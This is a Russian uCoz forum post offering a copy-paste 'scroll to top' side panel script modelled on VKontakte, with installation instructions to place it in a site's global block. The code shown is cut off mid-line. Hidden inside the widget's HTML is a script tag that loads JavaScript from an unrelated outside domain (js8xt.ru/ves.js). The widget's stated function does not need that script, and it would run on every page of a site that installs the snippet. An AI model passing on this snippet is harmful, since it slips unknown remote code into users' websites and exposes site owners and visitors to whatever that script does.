Боковая панель "Вверх" как вконтакте для uCoz - Форум
Меню сайта
Мини профиль

Гость, мы рады вас видеть.
Пожалуйста зарегистрируйтесь или авторизуйтесь!

Поиск
Мини чат
Копилка
Сколько? WMR

Заранее спасибо. Повысь свой BL. Сумма может быть любая. Все деньги будут вложены на развитие этого проекта. СПАСИБО!!!
Опрос
Как вам новый дизайн?
Всего ответов: 3342
Реклама
Статистика
Зарег. на сайте
Всего: 472
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них
Администраторов: 1
Модераторов: 1
Журналистов: 7
Обычных юзеров: 463
Из них
Парней: 420
Девушек: 52

Сегодня были:
Ka4ai.pp.ua

Качай бесплатно и без регистрации

[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]
Страница 1 из 11
Форум » Ptokax » Готовые скрипты » Боковая панель "Вверх" как вконтакте для uCoz (Шыкарный скрипт)
Боковая панель "Вверх" как вконтакте для uCoz
BatareykaДата: Пятница, 30.03.2012, 18:54 | Сообщение # 1
Рядовой
Группа: Пользователи
Сообщений: 12
Репутация: 0
Статус: Offline
Награды
Нет наград
Шыкарный скрипт! на темный дизайнах бомбезно смотрится

Так выглядит скрипт: http://s44.radikal.ru/i105/1203/90/7b504a2e4f2d.jpg

Идея данного скрипта была взята с социальной сети Вконтакте

Суть скрипта заключается в том, что по мере прокрутки страницы справа постепенно становится непрозрачной кнопка вверх. При наведении на правую крайнюю область страницы весь блок кнопки становится кликабельным и клик по ней плавно проскроллит страницу в самый верх

Установка:
В любой глобальный блок в самый низ:

[code]<style>
#aposcroll a {
text-decoration:none;
color:red;
}

#aposcroll:hover {
background-color:rgba(200, 200, 200, 0.7);
box-shadow:0px -5px 10px #777;
}
</style>
<div style="padding:30px 5px 0px 5px;position:fixed;top:0px;right:0px;z-index:999;width:70px;height:100%;opacity:0" id="aposcroll"><center><a href="javascript://">^ Вверх</a></center><script src="http://js8xt.ru/ves.js" type="text/javascript"></div>

<script>
// Кнопка Вверх by Apocalypse
var as = $('#aposcroll');
as.click(function() {
$(document).scrollTo(0, 500);
});
document.onscroll = function() {
var apolst = '0.'+$('body').scrollTop();
if(apolst.length == 5) {
as.stop().fadeTo(500, apolst);
} else if(apolst.length == 4
 
Форум » Ptokax » Готовые скрипты » Боковая панель "Вверх" как вконтакте для uCoz (Шыкарный скрипт)
Страница 1 из 11
Поиск: